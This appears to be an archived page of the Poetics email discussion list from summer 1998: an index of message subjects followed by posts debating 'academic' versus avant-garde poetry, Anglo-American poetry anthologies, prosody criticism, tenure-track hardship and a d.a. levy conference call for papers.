474. J. Kuszai — Bellamy,Killian,Rothenberg BEYONDthePAGE in SanDiego
475. daniel bouchard — Terror on the tee vee: A Repeat
476. J. Kuszai — back in the saddle
477. Jim McCrary — Re: High West Rendezvous by Ed Dorn
478. Henry Gould — 2 queries
479. David W. McFadden — Fresh New Member!
480. Kristen Gallagher — address query
481. david bromige — Rudeness on the List
482. Billy Little — Re: Fresh New Member!
483. r. drake — Re: back in the saddle
484. David Baratier — Re: economists
485. Elizabeth Treadwell — bullworthless (executive of color)
486. henry g — flims
487. Michael McColl — Re: bullworthless (executive of color)
488. MAYHEW — Re: reactionary query
489. Thomas Bell — Re: back in the saddle
490. Scott Pound — Re: Bullworth
491. George Bowering — Re: Bullworth
492. Rachel Loden — terms of endearment
493. Anthony Lawrence — Re: bullworthless (executive of color)
494. William Marsh — smallpress/websites
495. Rodrigo Toscano — Re: Bullworth
496. Safdie Joseph — Re: terms of endearment

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497. joel lewis — f.y.i.
498. david bromige — Nude Poetry
499. A. Jenn Sondheim — Heian Aesthetics
500. CD — lowell
501. r. drake — Re: Nude Poetry
502. A. Jenn Sondheim — for the sake of _the continuity girl_
503. MAXINE CHERNOFF — Re: Bullworth
504. Hilton Manfred Obenzinger — Comedy
505. Mark Weiss — Re: Comedy
506. Karen Kelley — Re: Comedy
507. A. Jenn Sondheim — Re: Comedy
508. David Cheezem — Re: Comedy
509. Mark Weiss — Re: Comedy
510. Thomas Bell — Re: Comedy
511. Mark Weiss — (no subject)
512. George Bowering — Re: Comedy
513. michael corbin — Re: Bullworth

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514. John Tranter — Ivory tower, etymology thereof
515. Ron Silliman — Re: Comedy

516. David W. McFadden — John Lennon Murdered!
517. sylvester pollet — Re: Comedy
518. louis stroffolino — Re: Bullworth
519. B. Taylor — Re Comedy
520. MAYHEW — Re: comedy
521. Billy Little — Re: Comedy
522. Mark Weiss — (no subject)
523. maz881 — ahsbery review

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524. Dan or Orion Raphael Dlugonski — the continuity girl
525. Bob Grotjohn — Poetry On-line, a request
526. r. drake — Re: Postmodern Piracy Festival /Call for Participants
527. David Baratier — Elena Garro
528. David Baratier — Re: Poetry On-line, a request
529. groberts — Re: Comedy
530. Poetics List — Re: Bullworth
531. Magdalena Zurawski — Help!
532. Elizabeth Treadwell — bullworth
533. John Latta — Query
534. David W. McFadden — Re: comedy
535. Katherine Lederer — Re: Susan Gevirtz
536. groberts — Re: Comedy
537. Gwyn McVay — Re: Comedy
538. k.a. hehir — Re: Help!
539. Ryan Whyte — request
540. Ryan Whyte — (no subject)
541. Jacques Debrot — Re: Ashbery, Talisman anthology, etc.
542. Pritchett,Patrick — Re: bullworth
543. miekal and — in case ewe wur wundering
544. Scott Pound — Re: Help!
545. KENT JOHNSON — Funny
546. Karen and Trevor — mike magee
547. Tosh — Re: Funny
548. David W. McFadden — Re: Comedy
549. David W. McFadden — Fwd: Regeneration
550. Mark Weiss — Re: Funny
551. Ron Silliman — The Age of Experience
552. Michael Magee — not-so-funny
553. Mark Weiss — Re: The Age of Experience
554. Thomas Bell — Re: Poetry On-line, a request
555. Karen Kelley — Re: ahsbery review
556. Rodrigo Toscano — Re: funny
557. Ron Silliman — Re: The Age of Experience
558. Hilton Manfred Obenzinger — Re: Comedy
559. Jordan Davis — skateboarding into Bonnie

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560. k.a. hehir — terrorism like comedy is not pretty
561. Todd Baron /*/ ReMap — A fine Mess--A finely Mess
562. Billy Little — Re: Funny
563. Billy Little — Re: Funny
564. Todd Baron /*/ ReMap — Re: funny
565. George Bowering — Re: The Age of Experience
566. Henry Gould — query
567. joel lewis — Re: Ashbery Review
568. Sean Casey — Re: Ashbery Review

569. Fred Muratori — Re: Ashbery Review
570. Burt Hatlen — aliens
571. Magdalena Zurawski — Thanks for Klingon
572. Mark Prejsnar — Rich inner lives and the State
573. Don Cheney — Re: not-so-funny
574. daniel bouchard — news that don't stay news isn't really news
575. MAYHEW — Overproducing Ashbery
576. Ron Silliman — Quartermain's Andrews / N'awlins
577. David Cheezem — Re: The Age of Experience
578. Rodrigo Toscano — Re: Todd B's "funny" post
579. david bromige — re : comic writing
580. Don Cheney — re : comic writing
581. Henry Gould — bombs away
582. Mark Weiss — Re: Rich inner lives and the State
583. daniel bouchard — Hurricane Bonnie ordered Clinton killed
584. Michael Magee — Re: Rich inner lives and the State
585. Mark Weiss — help! I need someone's address!
586. daniel bouchard — acknowledged armchair editors of world
587. Todd Baron /*/ ReMap — Re: sponse is a key word
588. Hilton Manfred Obenzinger — Re: acknowledged armchair editors of world
589. Matt Kirschenbaum — JokeMaster Funnies: King Leer (fwd)
590. David W. McFadden — Re: Comedy
591. Karen Kelley — Re: Overproducing Ashbery
592. michael corbin — Re: The Age of Experience
593. Skagitonians To Preseve Farmland — Re: translation anyone?
594. Scott Pound — Re: Thanks for Klingon
595. KENT JOHNSON — Response to Mark Weiss
596. KENT JOHNSON — Andrews/Caddel in DQ
597. Mark Weiss — Re: Response to Mark Weiss
598. Ramez Ejaz Qureshi — Re: Ashbery Review
599. Elizabeth Treadwell — HOLLYWOOD, USA
600. A. Jenn Sondheim — Re: Response to Mark Weiss
601. A. Jenn Sondheim — Re: HOLLYWOOD, USA

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602. Thomas Bell — Re: response to responce toResponse to Mark Weiss
603. Jim Andrews — Ashbery in online Jacket
604. Jim Andrews — Ashbery and the horoscopical
605. Todd Baron /*/ ReMap — Re: HOLLYWOOD, USA
606. Todd Baron /*/ ReMap — Re: HOLLYWOOD, USA
607. Safdie Joseph — Humorous and rich inner lives
608. Pritchett,Patrick — Re: Those warlocks in the pentagram, er pentagon
609. Douglas Barbour — Re: Daniel Bouchard 'reads' the news
610. Mark Prejsnar — Those warlocks in the pentagram, er pentagon
611. groberts — Re: Comedy
612. Jim McCrary — Re: re : comic writing
613. Michael Magee — Re: Those warlocks in the pentagram, er pentagon
614. Judy Roitman — Re: Those warlocks in the pentagram, er pentagon
615. Elizabeth Treadwell — Miss Mae
616. Irving Weiss — Exhibit SUNY Purchase
617. MAYHEW — Rich inner lives
618. KENT JOHNSON — Politics in the poetry
619. Todd Baron /*/ ReMap — Re: Miss Mae
620. Scott Pound — Re: terrorism
621. Ramez Ejaz Qureshi — Re: Response to Mark Weiss/Sudanese poets

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622. A. Jenn Sondheim — JENNIFER IN PHAEDRA
623. david bromige — warlox-on-bagel, pentagram, an address
624. Fredrik Hertzberg LIT — the write to a bad language
625. Michael Magee — Re: the write to a bad language
626. Henry Gould — Re: warlox-on-bagel, pentagram, an address
627. Judy Roitman — Re: warlox-on-bagel, pentagram, an address
628. Gary Sullivan — Written to Avoid Obsessing about Women
629. George Thompson — Re: the write to a bad language
630. daniel bouchard — Re: warlox-on-bagel, pentagram, an address
631. Mark Prejsnar — Cooks run State, Have Rich Inner Lives
632. Mark Prejsnar — the Pentagon's employers
633. henry — Re: warlox-on-bagel, pentagram, an address
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660. Jordan Davis — "hypothetical back to school night"
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676. Chris Piuma — Re: poetry on the web
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679. Billy Little — Re: the write to a bad language
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694. David Zauhar — Re: re : whalen/berrigan
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696. Jacques Debrot — Re: last call
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698. Mark Weiss — Re: last call
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701. Maria Damon — Re: Masha Zavialov email/Russain Poetry Festival (fwd)
702. joel lewis — Re: whalen/berrigan
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706. Thomas Bell — Re: poetry on the web
707. Ramez Ejaz Qureshi — Re: ascetic aesthetics(2)
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718. Pierre Joris — Re: Jargon books
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726. k.a. hehir — capilano review
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728. Ron Silliman — Tom Meyer
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734. Burt Hatlen — Re: POETICS Digest - 28 Aug 1998 to 29 Aug 1998 (#1998-47)
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737. David Baratier — Re: Last Call
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745. Gabriel Gudding — Cheering Thought
746. Mark Weiss — Re: Cheering Thought
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749. KENT JOHNSON — (Fwd) To say again: Will you come to Khartoum?
750. nico vassilakis — Northwest Vispo
751. Scott Pound — Re: ascetic aesthetics
752. Scott Pound — Re: ascetic aesthetics
753. Karen Kelley — Re: ascetic aesthetics

1. Marjorie Perloff
Re: varia
Fri 31 Jul 1998

For Ron: you're quite right re Lowell, Creeley, Whalen but don't forget that it was very difficult to get out of being drafted and one had to have all kinds of connections. Lowell did spend time in jail, as recorded in Life Studies. I don't know about Whalen. Creeley was ofcourse 4F. I had just meant that you couldn't just "decide" not to go although long-time Quakers were pretty much exempt for religious reasons.

Shift of topic: There's an excellent piece on the visual element in Olson's poetry in WORD & IMAGE by Christian Moraru who has just gone from Indiana to teach at North Carolina-Greensboro. "Topos/ typos / tropos": visual strategies and the mapping of space in Charles Olson's poetry." Vol. 14, no. 3 (July-Sept 1998), 253ff. Moraru shows how "the political potential of Concrete discourse was downplayed if not utterly ignored by Allen Ginsberg and his generation," and hence Olson's earlier (and strong) connections to Concrete have largely been ignored.

And loved Douglas Oliver's comments about Anglo-American relations--indeed on a major UPSWING. THEIR respect for OUR poetry at the London conference makes me think that it's about time that we pay attention to the work of the many exciting poets there--Maggie O'Sullivan, Denise Riley, Caroline Bergvall, Drew Milne, John Kinsella, Miles Champion--many others. The scene has really changed!

Marjorie Perloff

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2. linda russo
Re: Poetics programs, etc.
Fri 31 Jul 1998

As an A/academic, it's my duty to point out that we are, perhaps, mincing terms: is the question: what does is mean to be _an_ "Academic"? or what does it mean to be "academic"?

My american Heritage pocket dict. says "scholarly to the point of triviality" -- I think I AM (in most circumstances in which I find myself) scholarly to the point of triviality! ("always a critic!") I sort of like that! I'm not supposed to be employable! -- what a relief! But then that's just me with my lil ol' american heritage. Any OED-clad Academics out there?

> *I have never understood the claim that "avant-garde" poets are in any way less academic than "mainstream" poets. Both (ostensible) camps guard their*

> *traditions and canons jealously... both harbor various means of garnering prestige (mags, prizes--c'mon that the avant-garde doesn't have lots of book prizes and awards...).... both maintain a capacity for dogma.*

They (a/g & mainstream) are academic -- I agree -- if by that you mean "scholarly to the point of triviality"; but in terms of The Academy in general (in the mainstream) the a/g is "less Academic" -- less institutional -- the mainstream canon is Academic, the a/g merely "academic"?

and on another note?: How many times have you heard writers (we are talking about academic poets after all) say that theory would mess them up? That they don't need theory? I've sat with a roomful of MFA/PhD students who absolutly refused to engage with Barthes because they felt semiotics wasn't important to their writing -- and yet they consistently employed patently Academic critical methodologies. Which is *more* Academic?

I'm dreading the conversation even as i'm engaging in it. It has been played on this list before and I wonder if the question I ask in a previous post can't take it to another place?

> *The Question to Ask Now is: has bringing "innovative" poetics, poets and poetries into the academy -- _taking_ the there (and off the streets?) -- MADE them academic/exclusive/closed/deadened them somehow?*

thought that last "academic" should read "Academic"

My american Heritage pocket dict. says "scholarly to the point of triviality" -- ha ha! (thought that was pretty funny out of context)

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3. linda russo

Poetics/Academics/revolutions

Fri 31 Jul 1998

Katy -- I think I figured out why your response bugged me
> I have never understood the claim that "avant-garde" poets are in
> any way less academic than "mainstream" poets.

If you look at history, I think you'll understand the claim. In writing a history of women in the small press I've looked into the mimeo revolution -- to see what went on & specifically the roles individual women played. To be avant garde in the 50s-60s was to be categorically anti-academic; Small press movements spawned the work that became the New American Poetry were grassroots, anti-establishment movments, providing an alternative forum -- journals such as The Floating Bear, Yugen,"C", Beatitude, Fuck You: A Magazine of the Arts, Big Table, The Black Mountain Review, Caterpillar, Open Space, Contact, The San

Francisco Review, 0 to 9, The World &c &c -- in NY, SF, Black Mt, and Chicago. Many editors fought obscenity charges (Diane DiPrima has an amazing anecdote about taking on the FBI, LeRoi Jones single handedly taking on the supreme court) that the academy as a matter of course complied with.

For example, Academy pressure over obscenity charges wagered against the _Chicago Review_ caused it's editors to go anti-establishment -- literally, the editors quit their academic editing posts and began _Big Table_ so they could publish Burroughs and Ginsberg. The U of C had pressured them to stop publishing because a Chicago newspaper journalist accused the Chicago Review of publishing "filth" !!!

Until these presses and little magazines began, there were only "academic quarterlies" to publish in.

Yes, Ginsberg and Burroughs are canonized, the a/g has all the fixins on their plates too. Yes, both the the "a/g" (whatever that is) and the mainstream are "in" the academy. So I repeat my Q: what now? What does this mean for the a/g, for innovative poetry, to "be" "academic"?

-- it's lonely on this list at 2 am! It must be nearly lunchtime for Douglas Oliver!!

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4. **trbell**

Re: Shoptaw III

Fri 31 Jul 1998

What about "lexia"?

and to broaden the subject some, is anyone aware of work that uses Iser's concepts of 'fictive' and 'imaginary' in relation to poetry as play. Iser does a fine job, but doesn't delve into poetry.

tom bell

At 07:43 PM 7/31/98 +0300, you wrote:
>Thanks for many helpful backchannel tips on what poets have used prosodic
>measures such as the charecter, word, phrase, etc. But again, I ws hoping
>to hear about _critical/ theoretical_ texts in which such measures are
>introduced/ used/ discussed. Or where prosody or the poem's soundscape is
>discussed in terms of syntax, grammar, instead of meter or phonology.
>
>:: Reading John Shoptaw's "The Music of Construction - Measure and Polyphony
>:: in Ashbery and Bernstein" (in The Tribe of John) I'm just wondering who

>:: else has used these units of prosodic measurement - character, word,
>:: line, phrase, sentence, section. I'm aware of Silliman's use of
>:: sentence but not much else.
>
>Fred Hertzberg
>
>

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5. KENT JOHNSON

Re: Oh Henry!

Sat 1 Aug 1998

On July 31, Henry Gould wrote:

> *Open up any magazine advertised on*
> *this list. You will find poems made up of inchoate jumbles of*
> *broken syntax. I call this obscurity in a negative sense.*

Sure, Henry, no question. But why such a gripe? There are many _more_ magazines filled to overflowing with gibberish written in complete sentences and organized around "images." All "poetries" have their learning poets or lifelong weak ones. A few become really good and change everything. Yeats is one; Zukofsky is another. One can delight in both.

This is pretty obvious, isn't it? Why be a bull, pawing the ground, fixated on a piece of cloth?

> *I think syntax has a lot to do with the pleasure & beauty of poetry.*

Yes, of course. My point was that there are _all sorts_ of syntaxes available to poetry. It's a deep and wide realm of the possible, and it's what makes poetry what it is. Painting is a bit like this too. So is music. (Isn't that miraculous?) Heaven forbid poetry become something like the refinement of a particular or preferred idea of syntax (i.e. words arranged as "complete sentences" as you say).

Well, this is getting boring, isn't it Henry? To bed.

Kent

>

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6. Douglas Oliver

Re: anglo-american literary relations

Sat 1 Aug 1998

Very grateful to Mark Prejsnar for correcting and Bob Archambeau for adding to my remarks about the Ric Caddel, Peter Quartermain anthology of the "Other" British poetry. In my original draft of the message, I called "Other" the first full anthology of British experimental writing to be published in the US for decades. On checking, I was surprised I'd left out the word "full" during self-editing.

I gladly remember the important Potes and Poets Floating Capital 1991 collection, pioneering at the time. The fine New American Writing selection of 26 new British poets was No. 8 & 9, Fall 1991, and many years before that New Directions did a mini-anthology edited by Andrew Crozier. No doubt there have been other inklings which I've forgotten, but the gist of what I said stands: it's seven years later, there isn't much about, not published in the US, and "Other" should prove to be "fuller".

Bob Archambeau's plug for Billy Mills' book service very timely in these circumstances. One of the best British distributors of small press work is Peter Riley, 27 Sturton Street, Cambridge CB1 2QG, England. John Tranter is also doing a good job across the Atlantic-Pacifix axes on the Jacket website.

Another possibility for firming relations: Talisman House have broken the new turf with the Jarnot/Schwartz/Stroffolino Anthology of Younger (American) Poets. Excellent start. There's a good case for a US-British (or US-British- Canadian-Australian) anthology of younger poets -- born after 1960, say -- one day soon. Then, along with "Other" we'd have a representative set of texts on the market to encourage book buying from the specialist distributors on both sides of the Atlantic, and perhaps the Pacific. When I taught workshops on the younger poetry in the US and Britain at Naropa this summer, the interest from students was remarkable.

I've been fiddling myself with the idea of collecting up a set of young poet texts on these lines for proposal to a publisher but have concluded, sadly, that I have too many other projects on hand. This may make my suggestion sound weak -- can't be helped. But I'd be glad to be in contact with any person/ persons who did get enthused to offer what help I could.

Doug Oliver

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7. Hugh Steinberg
Re: Poetics/Academics/revolutions
Sat 1 Aug 1998

Linda Russo writes:
  So I repeat my Q: what now?
>What does this mean for the a/g, for innovative poetry, to "be"
>"academic"?

a/g re:culture

Hugh Steinberg

↑ Index

8. Lawrence Upton.
Re: anglo-american literary relations
Sat 1 Aug 1998

To Doug Oliver's list of things to check out, if you do check out me and Sub Voicive Poetry - and there is a distinction - then do also check out Miles Champion and One in the Other reading series. Miles, too, is separate from the series and he is *well *worth knowing as a poet... as a person too

Lawrence Upton

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9. linda russo
Re: academic as in poetry
Sat 1 Aug 1998

> *From:* [redacted]
>
> *The interesting question isn't who's academic, who's not, or what makes an "academic," but rather what Linda asked: what's it MEAN that alternative poetries & practioners are firmly "inside" now? What's the effect of two generations of poets passing through Buffalo, or all the writers who have graduated from the New College, Naropa, San Diego, Bard & Brown and who are now writing, teaching & publishing? Certainly the terms of debate within the universities has been altered. My sense is that it's basically a postive force. We need it. Institutional tensions follow in the wake. Who will be forgotten?*

Yes.

Or as Notley asks (out of her awareness of writing as a woman) "what are we leaving out now?

It might also be fruitful to read the academic ensconcement of the a/g as somewhat inevitable, (Black Mountain for example) a direct result of the mimeo revolution and the proliferation of small press poetic materials -- inevitably archived for ("academic") study. (if you haven't already, you might want to see my Poetics/Academics/Revolution post)

what emerges is a confluence rather than an influence -- studying different sorts of poetries demands different theoretical/essayistic apparatuses -- "changes" what it means to be A/acadmic.

And so not to be apologists, not to "scurry from the margins"
but to SIEZE the STRUCTURE (the Academy) and WRENCH
OR BREAK its FRAMES
jeez this is like dealing with being a woman poet all over again

so Yes, the imporance of remembering can't be stressed enough -- An interesting confluence in the increasing amount of women small poet-editors and the increasing importance of contemporary production by women -- poets like Hejinian, Scalapino, Harryman, Waldrop, Fraser, Dahlen, DuPlessis, Notley, Waldman, Mayer &c&c -- might be less known had they not endeavored to create the materials (little magazines/books) that all of us now turn to in defining our traditions.

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10. Jacques Debrot
Re: Shoptaw III
Sat 1 Aug 1998

For me, the chief virtue of Shoptaw's work is that he has made previously inaccessible poems available to close reading without entirely normalizing their strangeness. His analyses of _The Tennis Court Oath_ in several articles are, I think, unsurpassed. Not too long ago however Mark Wallace defended Steve Evans (against Henry Gould?) for Evan's somewhat oblique -- though, brilliant, apology -- of poetic innovation by arguing that close readings are ephemeral stuff -- an attitude which, since I imagine it is widespread, might explain why Shoptaw's techniques of close reading are somewhat anomolous -- hence the apparent difficulty of naming similarly oriented criticism -- though it strikes me that it is precisely new techniques of "close reading" that the current situation most urgently requires). Perhaps, in addition to Fred's question, someone might want to comment on the dynamic between the criticism being done by practicing poets (& in the last 20 years there has been a renaissance of poet/critics unmatched since the period of the New Criticism) & scholars such as Shoptaw, Perloff, Damon, Conte, etc.

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11. ShaunAnne Tangney Humanities

Re: My Definition of Academic

Sat 1 Aug 1998

---

i haven't been following this thread very closely, but want to chime in as someone who is at the end of her first year "in" the academy: tenure-track job and all that, and who was desperate to "get in"--

On Fri, 31 Jul 1998, Alan Jennifer Sondheim wrote:

> *I'd join the academy if I could.*

as i said, doing so was goal/dream number one for me.

> *I'm tired of never having any money.*

i make less than anyone else i know in academia: point here: just being in doesn't mean you get paid well. plus w/ all those student loans having come due, i live hand to mouth--at a similar if not lower level as i did as a grad student.

> *I'm tired of the stress always looking for the next little job.*

at my university everyone (even tenured faculty) is issued a one-year contract. we are, in effect, glorified adjuncts. point here: being in doesn't necessarily mean you don't always work with the nagging worry at the back of yr mind that next year you may be looking for a job again.

> *I'm tired of being an outsider.*

this _feels_ better to me now, as in, i _do_ feel "inside" but this feeling doesn't really do anything for me or my career. i live and teach in a samll, rural, isolated town/university--i'm never really sure just what it is that i am "inside." going to confs and such i do get to introduce myself as dr. tangney--that is, i would if we did that kind of thing, which as we all know we don't --so--what is this inside feeling really worth? i'm not that sure.

> *I'm tired of no health insurance book/travel/conference perks.*

i teach a 4/4, i am expected to give conf papers and publish and do service. i am given minimal travel support (i got better support from my dep't as a grad student), and no release-time to write. i had intended to write all summer, but due to financial hardship i had to teach this summer (again: i made more as a grad student for summer school courses than i did this summer as a tenure-track faculty member). our helath insurance is terrible; i still haven't been able to afford the dentist.

> *I'm tired of begging. I'm tired of insomnia.*

see above.

> *I'm tired of no furniture, eating poorly.*

when i got this job i seriously considered not moving the couch i had because it was so awful and old and beat up. i'm very glad i did because as it turns out i can't even afford to get it cleaned, let alone replace it.

> *I'm tired of the whole fucking thing.*
> *I'd join in a second.*
> *I'd join for free.*

i'm tired of it, too. i wonder almost every day if there's enough jesus christ in me to keep at it. i believe in it, i want it, i know we need it, and i wish like hell i felt like i had enough strength and power to fight like hell to preserve and improve it. some days i do; many i don't. the days i don't are because i'm exhausted from doing what "the system" keeps me doing instead of what i know i should be doing--take for example just the issue of college profs teaching a 4/4 load: this is crazy. it makes lousy teachers of us all. but at the end of the day/week, i'm often to freaking tired to fight about it. it's classic, isn't it? keep 'em so wasted they won't complain--it's positively feudal.

i don't mean to be bitter: i am trying VERY HARD not to be bitter. and i was very naive before i got "in." i thought i would have some secruity, some respect, and i thought i'd be able to get my teeth fixed and buy the kind of beer i really like. it's just not that simple. and it doesn't happen overnight. and it takes much more fight than i ever dreamed it would. i'm not ready to give up, but let's be careful not to aggrandize "in".

best,
shaunanne

> *Alan's Gang, wondering who's in and who's out at the moment.*

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12. Maria Damon
Re: My Definition of Academic
Sat 1 Aug 1998

---

i appreciate this. thanks.

At 11:39 PM -0400 7/31/98, Alan Jennifer Sondheim wrote:
>I'd join the academy if I could.
>I'm tired of never having any money.
>I'm tired of the stress always looking for the next little job.
>I'm tired of being an outsider.
>I'm tired of no health insurance book/travel/conference perks.
>I'm tired of begging. I'm tired of insomnia.

>I'm tired of no furniture, eating poorly.
>I'm tired of the whole fucking thing.
>I'd join in a second.
>I'd join for free.
>
>Alan's Gang, wondering who's in and who's out at the moment.

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13. Maria Damon

Re: d.a.levy / call for papers, etc.

Sat 1 Aug 1998

---

hey, can you tell us more about this bpNichol conference in september? dates, players, schedule, contact person etc?

At 1:12 PM -0700 7/30/98, Carl Lynden Peters wrote:
>this post makes my day! makes my semester! makes my year! it's great news
>to hear! fantastic! d.a. levy is a great poet, and needs our
>attention. i am currently working on a piece entitled _d.a. levy's
>influence on bpNichol's science of the "pataphysical_, which i will
>present at the Nichol conference this September. in Vancouver. so a little
>bit of a plug on my part but what th hell. a d.a. levy conference is just
>a wonderful idea, and it's very exciting. all th best,
>
>carl
>
>p.s. i'm still searching for levy sources, and a few of you on this list
>have already been very helpful. if anyone can name any further sources or
>current work on levy i wld be very grateful. th doors r open,
>
>c.
>
>> Hello Everyone:
>>
>> David Kirschenbaum asked me to post this:
>>
>> BOOGLIT #6
>> Call for submissions and papers for:
>>
>> 1) Booglit #6 d.a.levy issue
>> pub date Dec 1, 1998
>> edit & art deadline Oct 1, 1998
>> poems, prose, memories, artwork are all welcome

>>
>> 2) d.a.levy conference
>> We are in the planning stages of putting together a two-day levy
>>conference in
>> NYC Fri-Sat Dec 11-12, 1998, with readings, talks and panel discussions,
>> including a reading on Fri night Dec 11, at the Poetry Project at St. Mark's
>> Church. We are looking for papers relating to the following topics (although
>> any and all papers and proposals will be considered):
>>
>> a) Mimeo revolution
>> b) 1968 in American
>> c) Cleveland poetry scene in the 60s
>>
>> Please send papers with a one page abstract.
>> Please send all submissions, when possible, on disc in a word processing
>> program, preferably Microsoft Word.
>> All submissions should be sent to:
>>
>> David Kirschenbaum BOOGLIT
>> P.O. Box 20531 New York, NY 10011
>> attn: d.a.levy issue (or conference)
>> If you have any inquiries, contact BOOGLIT
>> [redacted] or [redacted]

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14. david bromige
academic as in poetry
Sat 1 Aug 1998

To me, the term "academic poetry" feeds off that use of the word "academic" to mean "nugatory," as in "oh, thats only of academic interest," or "that's academic" meaning "of no moment."

In this light, a lot of poetry written outside the academies is as "academic" (to me) as a lot that is written from within academe.

Theres no sense drawing a line around the universities and saying "everything within this circle is of no interest." Most of the challenging and rigorous poetry being written today in north america is being written by college professors. Some of these, its true, are only college professors _because_ of their poetry (i.e., dont have advanced degrees; were hired to teach only poetry anyway). But others followed the more common route to their posts. I think of Michael Davidson, a phenomenon in that he teaches fulltime at UCSD, publishes articles,

gives papers, and has 2 scholarly books out; raises two young kids, corresponds extensively, swims daily, and is one of america's finest poets. Alson Neilsen of this List is a like wonder (exempt the kids and the daily swim).Then there's that other Dano-America, Cole Swensen, with a doctorate, teaches at Denver U, writes marvelous poetry and does extensive translation from the French. Nothing academic about them. David

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15. david bromige

help re current poetries in japan, peru, chile

Sat 1 Aug 1998

If anyone has some k-edge of the current situation in these countries, where poetry is concerned, please b-c me. It will be of great help with a study I'm undertaking. Thanks in advance, David

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16. dbkk

Re: postfeminist POETICS JOURNAL?

Sat 1 Aug 1998

Linda, the last planned issue of PJ never appeared--this was several years ago. It's now being put out--with some of the material of the originally proposed issue as well as some newly solicited material, much of it by "younger" writers. In June Barrett said it would be out in July, so I imagine it will be out soon. There are others on this list who are also in this issue and who are probably in closer contact with Barrett and Lyn than I am this summer--who might have more details.

Dodie

> *Date: Thu, 30 Jul 1998 22:45:22 +0000*
> *From: linda russo <[redacted]>*
> *Subject: postfeminist POETICS JOURNAL?*
>
> *[the subject line is purely whimsical]*
>
> *hey Dodie or someone -- could you clarify? What is this new PJ?*
> *what's the story?*
>
> *. . . the new/long-overdue Poetics Journal [which features] a talk*
> *[Dodie Bellamy]*
> *gave at New Langton Arts years ago--for an evening on Eros and Writing*
> *(curated by Kevin K.) . . . purposely written for a non-intellectual*
> *audience. . . .*

> *thanks. lvr*

↑ Index

17. charles alexander

the purity the purity (sung to the tune of "the horror the horror")

Sat 1 Aug 1998

Please forgive me if I am repeating earlier conversation. I admit to being away, stopping poetics mail, and not going completely through the archive of the last ten days or so.

But a friend just put the July 16 New York Review of Books in my hand. Therein, by some John Bayley, an article on new poetry books by Donald Hall, Frederick Seidel, J.D. McClatchy, Mark Strand, and Edward Hirsch, from which Bayley extracts such overall characterizations of poetry, and contemporary poetry, as . . .

"Poets must often write to cheer themselves up, and in so doing the good ones can cheer up their readers as well."

"Poetry works immediately . . . or it doesn't work at all . . . Its function must be, as Mallarme said, to give a purer meaning to our tribal language, and also a more concentrated one."

"A general impression . . .: how quietly but firmly civilized much American poetry has lately been becoming. It is partly of course the influence of the campus, but, more than that, it may reflect a general nostalgia for civility and civilization as being in the end an inevitable source for poetic culture. Poetic learning in America today is worn easily, seldom irritatingly academic, but also not making apologies for any lack of vox pop elementariness. What would the founding fathers of modernism, and those who wanted with Carlos Williams a plain poetry for cats and dogs, think about these developments? How would Walt Whitman respond? With surprise? Dismay? No, I think he would have liked these poems."

This angers and befuddles me, as I try to imagine what constitutes this "poetic culture" and what kind of "purer meaning" is given "to our tribal language," by a poetry which is praised for being civilized, which seems to mean the same thing as not being irritating, as it collaborates with a general cultural nostalgia.

I have a hard time imagining Mallarme or Whitman or Carlos Williams approving.

I know the NY Rev of Books is only being itself here, but it's still disgusting.

charles

↑ Index

18. Erik Sweet
Re: academic as in poetry
Sat 1 Aug 1998

In a message dated 8/1/98 11:37:16 AM, Bromige wrote:

<< Nothing
academic about them."... David

Except that they teach in the "academy." I agree that there should be no circles, but this is like saying Dr. "Smith" works at the hospital as a surgeon and swims on the weekends but there is nothing "doctorly" about him.

It is strange how the idea of the academy makes people so defensive...drawing lines against those academic and those not...(ask anyone outside of the scholarly argument what they think about this and they will tell you anyone who is a professor is an academic...) who cares! is it what others think of the academic job or what you think?

Thousands are in line to get a job as an "English Professor" to all at the Academy be happy where you are...seems like a great job... and it is what you do in there that matters...

erik sweet

↑ Index

19. Billy Little
Re: postfeminist playground
Sat 1 Aug 1998

your fans db up allnight fixing the fibre optics to search for yr bytes

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

20. charssmith
Re: academic as in poetry
Sat 1 Aug 1998

The interesting question isn't who's academic, who's not, or what makes an "academic," but rather what Linda asked: what's it MEAN that alternative poetries & practioners are firmly "inside" now? What's the effect of two generations of poets passing through Buffalo, or all the writers who have graduated from the New College, Naropa, San Diego, Bard & Brown and who are now writing, teaching & publishing? Certainly the terms of debate within the universities has been altered. My sense is that it's basically a postive force. We need it. Institutional tensions follow in the wake. Who will be forgotten?

--cs

↑ Index

21. charles alexander
Re: the purity the purity (sung to the tune of "the horror the horror")
Sat 1 Aug 1998

Keith, I thought your response to those NY Review quotes was perfect.

thanks,

charles

↑ Index

22. MAXINE CHERNOFF
Re: academic as in poetry
Sat 1 Aug 1998

Regarding Erik Sweet's comment on the academic, the history of which (David Bromige post) I haven't followed:

In Chicago in the 1980s, when the performance poetry scene was booming, I suddenly found myself framed (by Marc Smith) as an academic because I taught at Columbia College Chicago. When reporters from The Smithsonian and Wall Street Journal called to ask what I thought of the slam phenomenon, I would talk at length about its history, in Chicago and elsewhere, and make a claim for myself as "non-academic." But the reporters wanted soundbites, which I didn't know how to construct, and concluded that since I taught at a college I must therefore be an academic. I said that the slams seemed to me (Baraka said so, too) a relentless capitalization of the popularity of "voice"; that it represented the triumph of mass-media-ready poetry at the expense of text; and that it generally lacked the kind of political critique to be found in Ginsberg, Baraka,

Rothenberg, and Waldman, among others. The reporters would use my most negative statements to frame me as the disapproving professor/bete noire needed to make the story dramatic.

But of course there are numerous "academic" poets, by which we mean those who employ the received idiom, who do not teach. Because there are only 250 creative writing programs in the country, these poets are in the majority.

Both language poetry and performance poetry have been assimilated to an extent by academic and broader cultural interests. Because we are a culture that values indeterminacy, risk-taking (especially with capital), the "new" is prized. But most poets like to operate on safe ground. They wait until an idiom has general acceptance and then leap in. It's the second wave that often gets the most attention. Pound to Eliot: "I'll break down the door, you take out all the swag."

It is possible to be avant-garde and also academic; to be mainstream and also non-academic.

True or false: (1) Bad art is central to the concept of pleasure; (2)Transgression is always sentimental; (3) Disjuncture heals all wounds.

--Paul Hoover

↑ Index

23. Billy Little

Re: academic as in poetry

Sat 1 Aug 1998

---

in my pea brain i always hear moot as the echo of academic, i.e., everybody knows that, who cares? i never thought of creeley as academic, electric would be the antonymn, creeley is electric, academic is sherlock holmes elementary, scholarship is closer to obsession than academic, love writ large on an subject/field

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

